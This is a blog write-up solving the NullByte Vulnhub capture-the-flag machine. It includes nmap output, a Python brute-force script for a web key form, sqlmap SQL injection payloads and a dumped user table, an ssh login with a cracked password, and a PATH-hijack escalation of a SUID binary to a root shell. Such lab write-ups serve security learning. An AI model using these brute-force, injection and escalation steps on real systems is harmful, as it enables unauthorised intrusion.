Vulnhub - NullByte
Posted on 11 Sep 2015 in security • 5 min read
After the Acid challenge I was really motivated. Therefore I give a look at another vulnhub machine I had already download since a while: NullByte.
The goal is to root the server.
Host discovery
As always, we start with the host discovery with nmap, nikto and dirbuster:
nmap
nmap 192.168.0.20 -p0-65535 -A -oA nmap
# Nmap 6.47 scan initiated Thu Sep 10 10:01:29 2015 as: nmap -p0-65535 -A -oA nmap 192.168.0.20
Nmap scan report for 192.168.0.20
Host is up (0.0089s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-title: Null Byte 00 - level 1
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 34677/tcp status
|_ 100024 1 37785/udp status
777/tcp open ssh OpenSSH 6.7p1 Debian 5 (protocol 2.0)
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
34677/tcp open status 1 (RPC #100024)
MAC Address: A0:88:B4:C7:17:2C (Intel Corporate)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.11 - 3.14
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
There is an HTTP server on the port 80 and an ssh service on port 777.
Exploitation
The web server display a picture with a simple message. Neither nikto nor
dirbuster give us some lead. Let us run exiftool
on the picture:
main.gif
The comment filed is interesting:
ExifTool Version Number : 8.60
File Name : main.gif
Directory : .
File Size : 16 kB
File Modification Date/Time : 2015:09:10 10:07:39+02:00
File Permissions : rw-r--r--
File Type : GIF
MIME Type : image/gif
GIF Version : 89a
Image Width : 235
Image Height : 302
Has Color Map : No
Color Resolution Depth : 8
Bits Per Pixel : 1
Background Color : 0
Comment : P-): kzMb5nVYJw
Image Size : 235x302
What can we do with that?
kzMb5nVYJw
If we put this at the end of our url with land on another page. Dirbuster will never have find something like that!
It is a simple web page asking us for a key. When looking at the page code we notice:
<!-- this form isn't connected to mysql, password ain't that complex --!>
If there is no SQL injection and the password is simple we need to bruteforce it. I am not a huge fan of bruteforce but I wrote a simple script that use one of my password dictionary (mostly common word).
import requests
url = 'http://192.168.0.20/kzMb5nVYJw/index.php'
f=open('/usr/share/dict/cracklib-small', 'r')
password=f.readline()
data = {'key':password}
r = requests.post(url, data = data)
while 'invalid' in r.text:
password=f.readline().strip()
data = {'key':password}
r = requests.post(url, data = data)
print(password)
print(r.text)
The password was "elite" and by entering it, we land on a new page.
420search.php
The 420search.php
page let us query for an user. If we search 'plop' we got:
Fetched data successfully
If we search nothing we got:
:::text EMP ID :1 EMP NAME : ramses EMP POSITION :
EMP ID :2 EMP NAME : isis EMP POSITION : employee
Fetched data successfully
This time it is probably a SQL injection as there is no mention against it in the source code :D. If we introduce a double quote we got:
Could not get data: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%"' at line 1
It looks like an SQL injection.
SQLi
Let us launch sqlmap:
[maggick@rootine sqlmap]$ python2 sqlmap.py -u 'http://192.168.0.20/kzMb5nVYJw/420search.php?usrtosearch=plop'
_
___ ___| |_____ ___ ___ {1.0-dev-e8f87bf}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 15:25:23
[15:25:23] [INFO] resuming back-end DBMS 'mysql'
[15:25:23] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: usrtosearch (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: usrtosearch=-8936" OR 8832=8832#
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT - comment)
Payload: usrtosearch=plop" AND (SELECT * FROM (SELECT(SLEEP(5)))bhRc)#
Type: UNION query
Title: MySQL UNION query (NULL) - 3 columns
Payload: usrtosearch=plop" UNION ALL SELECT CONCAT(0x71706b7871,0x5355686d62645446514a,0x7162716271),NULL,NULL#
---
[15:25:23] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.10
back-end DBMS: MySQL 5.0.12
[15:25:23] [INFO] fetched data logged to text files under '/home/maggick/.sqlmap/output/192.168.0.20'
[*] shutting down at 15:25:23
python2 sqlmap.py -u 'http://192.168.0.20/kzMb5nVYJw/420search.php?usrtosearch=plo' --current-db
got us the name of the current databse: seth.
python2 sqlmap.py -u 'http://192.168.0.20/kzMb5nVYJw/420search.php?usrtosearch=plo' -D seth --tables
got us the list of the tables in the database seth. There is only one table : users. Let us drop it:
$python2 sqlmap.py -u 'http://192.168.0.20/kzMb5nVYJw/420search.php?usrtosearch=plop' -D seth --dump
+----+---------------------------------------------+--------+------------+
| id | pass | user | position |
+----+---------------------------------------------+--------+------------+
| 1 | YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE | ramses | <blank> |
| 2 | --not allowed-- | isis | employee |
+----+---------------------------------------------+--------+------------+
It seems that ramses pass(word) is base64 encoded. After decoding, we got: c6d6bd7ebf806f43c76acc3681703b81 which looks like a md5 hash. A simple google search give us the associated password: omega.
We have a username and a password. We have also seen a ssh port at the nmap stage.
Shell exploitation
ssh
We try to connect to the non standard ssh port as ramses:
$ ssh 192.168.0.20 -p 777 -lramses
ramses@192.168.0.20's password:
omega
And it works.
Privilege elevation
We got a shell as a user now we need privilege escalation to become root. After
trying sudo su
we look at the bash_history
:
ramses@NullByte:~$ cat .bash_history
sudo -s
su eric
exit
ls
clear
cd /var/www
cd backup/
ls
./procwatch
clear
sudo -s
cd /
ls
exit
Let see the /var/www/backup/
folder:
ramses@NullByte:/var/www/backup$ ls -l
total 12
-rwsr-xr-x 1 root root 4932 Aug 2 01:29 procwatch
-rw-r--r-- 1 root root 28 Aug 2 01:36 readme.txt
Interesting, we read the readme.txt file:
ramses@NullByte:/var/www/backup$ cat readme.txt
I have to fix this mess...
We execute procwatch
:
ramses@NullByte:/var/www/backup$ ./procwatch PID TTY TIME CMD 1785 pts/0 00:00:00 procwatch 1786 pts/0 00:00:00 sh 1787 pts/0 00:00:00 ps
Seems like a ps, probably executing the command itself. Moreover it is own by root
with the suid set (the s in the ls -l
),
meaning we execute this program with root privileges.
One classic vulnerability when a program executes another one is to use the PATH environment variable to execute a command of our choice instead of the command wanted by the program.
First of all we create a file with the command we want to execute and name it ps
:
ramses@NullByte:/var/www/backup$ echo /bin/sh > ~/ps
We give the execution right to this file:
ramses@NullByte:/var/www/backup$ chmod +x ~/ps
We add the directory where we created this file to our PATH:
ramses@NullByte:/var/www/backup$ export PATH=~/:$PATH
We execute the original program:
ramses@NullByte:/var/www/backup$ ./procwatch
Magic happened, we got a root shell:
# whoami
root
Now we just need to search the flag:
# ls /root
proof.txt
# cat /root/proof.txt
adf11c7a9e6523e630aaf3b9b7acb51d
It seems that you have pwned the box, congrats.
Now you done that I wanna talk with you. Write a walk & mail at
xly0n@sigaint.org attach the walk and proof.txt
If sigaint.org is down you may mail at nbsly0n@gmail.com
USE THIS PGP PUBLIC KEY
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: BCPG C# v1.6.1.0
mQENBFW9BX8BCACVNFJtV4KeFa/TgJZgNefJQ+fD1+LNEGnv5rw3uSV+jWigpxrJ
Q3tO375S1KRrYxhHjEh0HKwTBCIopIcRFFRy1Qg9uW7cxYnTlDTp9QERuQ7hQOFT
e4QU3gZPd/VibPhzbJC/pdbDpuxqU8iKxqQr0VmTX6wIGwN8GlrnKr1/xhSRTprq
Cu7OyNC8+HKu/NpJ7j8mxDTLrvoD+hD21usssThXgZJ5a31iMWj4i0WUEKFN22KK
+z9pmlOJ5Xfhc2xx+WHtST53Ewk8D+Hjn+mh4s9/pjppdpMFUhr1poXPsI2HTWNe
YcvzcQHwzXj6hvtcXlJj+yzM2iEuRdIJ1r41ABEBAAG0EW5ic2x5MG5AZ21haWwu
Y29tiQEcBBABAgAGBQJVvQV/AAoJENDZ4VE7RHERJVkH/RUeh6qn116Lf5mAScNS
HhWTUulxIllPmnOPxB9/yk0j6fvWE9dDtcS9eFgKCthUQts7OFPhc3ilbYA2Fz7q
m7iAe97aW8pz3AeD6f6MX53Un70B3Z8yJFQbdusbQa1+MI2CCJL44Q/J5654vIGn
XQk6Oc7xWEgxLH+IjNQgh6V+MTce8fOp2SEVPcMZZuz2+XI9nrCV1dfAcwJJyF58
RryD57olIyb9GsQgZkvPjHCg5JMdzQqOBoJZFPw/nNCEwQexWrgW7bqL/N8
TM2C0X57+ok7eqj8gUEuX/6FxBtYPpqUIaRT9kdeJPYHsiLJlZcXM0HZrPVvt1HU
Gms=
=PiAQ
-----END PGP PUBLIC KEY BLOCK-----
Conclusion
This box was fun. The url were unpredictable and dirbuster doesn't spoil all the fun for us. Thank to @ly0nx for this box and vulnhub as always.